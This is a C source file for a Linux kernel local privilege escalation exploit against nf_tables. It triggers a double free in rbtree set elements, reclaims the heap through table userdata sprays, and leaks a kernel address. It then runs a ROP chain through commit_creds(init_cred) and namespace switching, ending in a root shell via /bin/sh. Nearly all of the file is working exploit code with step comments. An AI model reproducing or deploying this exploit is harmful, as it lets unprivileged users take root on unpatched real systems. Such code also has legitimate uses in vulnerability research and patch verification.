#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>
#include <sys/time.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"


char *leak_data = NULL;
char *table_udata = NULL;
int table_num = 0;
uint64_t leak_ops = 0, target_heap = 0, kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;
int cur_handle = 0;
void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
    //while(1);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
  usleep(1000);
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  pin_on_cpu(0);  
  return 0;
}



void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    printf("send msg list total size : %ld\n",total_size);
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}

int nl_callback_get_table(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
    memset(tb_msg, 0, NFTA_TABLE_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;
    if (tb_msg[NFTA_TABLE_NAME]){
        printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME]));
    }
    if (tb_msg[NFTA_TABLE_USERDATA]){
        free(table_udata);
        table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA]));
        nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA]));
    }
    return NL_OK;
}


void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}

void exploit(struct nl_sock *socket){
    int i;
    char *table = "table for exp";
    char *bitmap_set = "set bitmap for exp";
    char *obj_for_exp = "obj for exp";
    char *rbtree_set = "rbtree set for poc";
    char *hash_set = "set hashtable for exp";
    char *obj_for_rop = "obj for rop";
    new_table(socket, table);
    new_set_bitmap(socket, table, bitmap_set);
    new_set_hashtable(socket, table, hash_set, NFT_OBJECT_CT_EXPECT, 8);
    new_obj_ct_expect(socket, table, obj_for_exp, NULL, 0);
    char *key = malloc(0x40);
    memset(key, 0, 0x40);
    char *key_end = malloc(0x40);
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x10);
    uint64_t hash_key;
    uint64_t *key1 = (uint64_t *)key;
    //trigger the vul
    //step1: prepare env
    new_set_rbtree_for_timeout(socket,table, rbtree_set, NFT_OBJECT_CT_EXPECT,0x40);
    //init rbtree first
    *key1 = 0x80;
    new_setelem_with_expiration(socket, table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x70;
    new_setelem_with_expiration(socket, table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x60;
    new_setelem_with_expiration(socket, table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x50;
    new_setelem_with_expiration(socket, table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);
    *key1 = 0x40;
    new_setelem_with_expiration(socket, table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0x0100000000000000);
    *key1 = 0x58;
    //Prepare for the heap double free to avoid crash
    spray_tables(socket,0x1000, pad, 0x60);
    
    //step2: trigger the vul
    //Now trigger the vul. We will kfree the heap of setelem_with_INTERVAL_END twice.
    msg_list[0] = new_setelem_with_INTERVAL_END_msg(table, rbtree_set, key1, 0x40);
    char *table_for_pad = "table for pad";
    
    msg_list[1] = new_table_with_udata_msg(table_for_pad, pad, 0x60);
    *key1 = 0x48;
    
    msg_list[2] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, 0xffff000000000000);//gc here
    
    msg_list[3] = new_setelem_msg(table, hash_set, NULL, 0, NULL, NULL, 0, NULL, 0);
    send_msg_list(socket, msg_list, 4);
    
    //step3: get the heap back
    //Now we try to get the heap back and check if we success
    struct nl_sock * socket2 = nl_socket_alloc();
    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL);
    int try_num = 0;
    char *table_name = malloc(0x100);
    int a=0,b=-1;
    while(1){
        printf("trying %d\n",try_num);
        snprintf(table_name, 0x100, "table for test %d", try_num);
        *(int *)pad = try_num;
        new_table_with_udata(socket, table_name, pad, 0x78);
        int i;
        for(i=0;i<try_num;i++){
                snprintf(table_name, 0x100, "table for test %d", i);
                get_table(socket2, table_name);
                nl_recvmsgs_default(socket2);
                nl_recvmsgs_default(socket2);
                printf("Get udata : %d\n", *(int *)table_udata);
                if(*(int *)table_udata != i){
                //It means we get two same object from the free list of kernel heap.
                        a = *(int *)table_udata;
                        b = i;
                        break;
                }
        }
        if(b!=-1)
                break;
        try_num++;

    }
    
    //Step 4: avoid crash
    //Now, we free many object to avoid crash
    char *tmp = malloc(0x100);
    memset(tmp,0,0x100);

    for(i=0xc00;i<0x1000;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", i);
        del_table(socket, tmp);
    }
    printf("We get it! A: %d B: %d \n", a, b);
    //sleep(5);
    
    //Step 5: Delete table a
    snprintf(tmp, 0x100, "table for test %d", a);
    //free one of it.
    del_table(socket, tmp);
    
    sleep(5);
    //Step 6: Spray setelem with expr and object ref to get the heap back
    //new_obj_ct_expect(socket, table, obj_for_rop, NULL, 0);
    uint16_t bitmap_key = 0;
    i=0;
    while(1){
        bitmap_key = i;
        new_setelem_with_expr(socket, table, bitmap_set, pad, 0x40, NULL, &bitmap_key, 2, NULL, 0);
	snprintf(tmp, 0x100, "table for test %d", b);
        get_table(socket2, tmp);
        nl_recvmsgs_default(socket2);
        nl_recvmsgs_default(socket2);
        //printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28));
        if(((*(uint64_t *)(table_udata+0x28)) & 0xfff )== 0x460){
            break;
        }
        i++;
    }
    printf("Get ops : %llx\n", *(uint64_t *)(table_udata+0x28));
    //Save it. We will use it later.
    char *setelem_data = malloc(0x80);
    memcpy(setelem_data, table_udata, 0x80);
    kernel_off = *(uint64_t *)(table_udata+0x28) - 0xFFFFFFFF82D3B460;//nft_last_ops
    printf("kernel off: %llx\n", kernel_off);
    //Step 7: Create a setelem for expr->ops and ROP gadget
    //now we get ops, we try to add a setelem and leak it. We will use this setelem as expr->ops target and ROP gadget.
    bitmap_key++;
    new_setelem(socket, table, bitmap_set, pad, 0xc0, NULL, &bitmap_key, 2, NULL, 0, 0);
    snprintf(tmp, 0x100, "table for test %d", b);
    get_table(socket2, tmp);
    nl_recvmsgs_default(socket2);
    nl_recvmsgs_default(socket2);
    printf("Get next setelem : %llx\n",*(uint64_t *)table_udata);
    uint64_t ops_addr = *(uint64_t *)table_udata;
    uint64_t rop_addr = ops_addr;
    //step 8
    //Free the small setelem, and fill it with our target expr->ops->dump, expr->ops->type and ROP gadget
    del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0);
    sleep(2);
    //ops->dump
    memset(pad, 0, 0x100);
    *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff815831e5;//leave ; ret  stack migration first
    //ops->type
    *(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83B87960;/*the address of nft_last_type
							      In function nf_tables_fill_expr_info:
							      	if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name))
							      so we need to fake ops->type to avoid kernel crash
							      */
    //ROP gadget
    *(uint64_t *)&pad[0x00] = kernel_off + 0xffffffff8112af70;//pop rdi; ret
    *(uint64_t *)&pad[0x08] = kernel_off + 0xFFFFFFFF838768E0;//init_cred
    *(uint64_t *)&pad[0x10] = kernel_off + 0xFFFFFFFF811BB4B0;//commit_creds;
    *(uint64_t *)&pad[0x18] = kernel_off + 0xffffffff8112af70;//pop rdi ; ret
    *(uint64_t *)&pad[0x20] = 1;
    *(uint64_t *)&pad[0x28] = kernel_off + 0xFFFFFFFF811B1E80;//find_task_by_vpid
    //jmp to avoid ops->dump and ops->type
    *(uint64_t *)&pad[0x30] = kernel_off + 0xffffffff8111215f;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
    *(uint64_t *)&pad[0x68] = kernel_off + 0xFFFFFFFF81112166;//pop rbp ; pop rbx ; ret
    *(uint64_t *)&pad[0x80] = kernel_off + 0xffffffff810d4f11;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
    *(uint64_t *)&pad[0x90] = kernel_off + 0xffffffff813fd8a7;//pop rsi ; ret
    *(uint64_t *)&pad[0x98] = kernel_off + 0xFFFFFFFF838766A0;//init_nsproxy
    *(uint64_t *)&pad[0xa0] = kernel_off + 0xFFFFFFFF811B9910;//switch_task_namespaces
    *(uint64_t *)&pad[0xa8] = kernel_off + 0xFFFFFFFF82229E86;//swapgs; ret
    *(uint64_t *)&pad[0xb0] = kernel_off + 0xFFFFFFFF824011D7;//iretq
    *(uint64_t *)&pad[0xb8] = (uint64_t)shell;
    *(uint64_t *)&pad[0xc0] = user_cs;
    *(uint64_t *)&pad[0xc8] = user_rflags;
    *(uint64_t *)&pad[0xd0] = user_rsp|8;
    *(uint64_t *)&pad[0xd8] = user_ss;
    
    spray_tables(socket,0x800, pad, 0xe0);
    
    
    //step 9
    //Now we try to control ip by faking another expr in set elem.
    //build fake setelem
    *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
    //start ROP
    *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff811b36eb;//pop rsp; ret 
    *(uint64_t *)&setelem_data[0x38] = ops_addr; //stack migration again
    //del table b first
    del_table(socket, tmp);
    sleep(2);
    //Try to get it back and control RIP
    bitmap_key = i;
    int t=0;
    while(1){
	spray_tables(socket, 1, setelem_data, 0x70);
        get_setelem(socket, table, bitmap_set, &bitmap_key, 2);
        printf("%d\n",t);
        t++;
        sleep(0.5);
    }
    
    printf("End\n");
    while(1);
}


int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    save_state();
    struct nl_sock * socket = nl_socket_alloc();
    
    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    exploit(socket);
    return 0;
}
